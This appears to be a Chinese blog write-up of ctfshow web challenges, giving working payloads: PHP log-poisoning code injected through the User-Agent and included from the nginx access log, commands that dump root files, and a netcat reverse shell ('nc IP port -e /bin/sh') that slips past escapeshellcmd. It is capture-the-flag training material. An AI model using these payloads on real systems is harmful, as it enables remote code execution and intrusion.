ctfshow web七夕杯

web签到

在这里插入图片描述
执行命令没有回显,我们直接写文件就可以了
在这里插入图片描述
有字符长度限制

ls />a
nl /*>a

访问url/api/a下载文件
在这里插入图片描述
在这里插入图片描述

easy_calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

正则EXP

<?php

$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";

// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
    range('!', '/'),   // 特殊字符
    range(':', '@'),   // 特殊字符
    range('[', '`'),   // 特殊字符
    range('{', '~'),   // 特殊字符
    range('0', '9'),   // 数字
    range('A', 'Z'),   // 大写字母
    range('a', 'z')    // 小写字母
);

$unmatched_chars = [];

foreach ($all_chars as $char) {
    if (!preg_match($pattern, $char)) {
        $unmatched_chars[] = $char;
    }
}

if (empty($unmatched_chars)) {
    echo "所有字符都被匹配了。\n";
} else {
    echo "未匹配到的字符有:\n";
    foreach ($unmatched_chars as $char) {
        echo $char . " ";
    }
    echo "\n";
}

?>

第一个正则

" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字
POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1

UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件
在这里插入图片描述

easy_cmd

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令
那么我们就反弹shell

POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着

相关推荐

  1. 蓝桥刷题(

    2024-06-18 06:04:03       18 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-18 06:04:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-18 06:04:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-18 06:04:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-18 06:04:03       20 阅读

热门阅读

  1. vue 修改页面 刷新页面 增删改 provide / inject

    2024-06-18 06:04:03       12 阅读
  2. Elasticsearch在日志分析中的神奇之旅

    2024-06-18 06:04:03       9 阅读
  3. super().__init__()的解析和作用

    2024-06-18 06:04:03       9 阅读
  4. awtk界面实现下拉屏功能

    2024-06-18 06:04:03       9 阅读
  5. linux 压缩命令之tar工具的基本使用

    2024-06-18 06:04:03       7 阅读
  6. 【Linux】I/O多路复用

    2024-06-18 06:04:03       7 阅读
  7. 微调大模型 - 面向学术论文的AI大模型

    2024-06-18 06:04:03       7 阅读
  8. MySql修改最大连接数

    2024-06-18 06:04:03       9 阅读
  9. 系统安全!

    2024-06-18 06:04:03       8 阅读
  10. 2.负载压力测试

    2024-06-18 06:04:03       6 阅读